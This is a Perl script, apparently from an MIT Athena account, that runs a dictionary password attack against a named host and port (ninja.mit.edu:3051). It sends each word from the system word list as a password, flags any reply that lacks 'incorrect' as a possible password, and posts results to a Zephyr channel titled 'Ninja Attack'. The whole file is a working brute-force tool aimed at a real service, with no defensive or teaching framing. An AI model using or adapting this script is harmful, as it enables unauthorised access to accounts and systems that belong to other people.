#!/usr/athena/bin/perl

require '/mit/mkgray/perl/chat2.pl';
require '/mit/mkgray/perl/io.pl';

$| =1;
sub listen {
        local($secs) = @_;
        local($return,$tmp) = "";
        while (length($tmp = &chat'expect($secs, '(.|\n)+', '$&'))) {
                print $tmp if $trace;
                $return .= $tmp;
        }
        $return;
}

&zcl("Starting Attack\n");
open(WORDS, "/usr/dict/words");
while(<WORDS>){
$word = $_;
do{
$c = &chat'open_port('ninja.mit.edu', 3051);
}
until {$c == 1;}
$_=&listen(1);
while(!/Password/){
$_ .= &listen(1);}
&chat'print($word);
$_=&listen(1);
if(!/incorrect/){
&zcl("Possible password: $word\n");
}
else{
$n++;
$list .= $word;
if($n>=25){
$n = 0;
&zcl("Failed passwords:\n$list\n");
$list = "";
}
}
}
sub zcl {
        local($message) = @_;
        open (ZME, "|zwrite -n -q -d -s 'Ninja Attack' -c crackn");
        print(ZME $message);
        close(ZME);
}

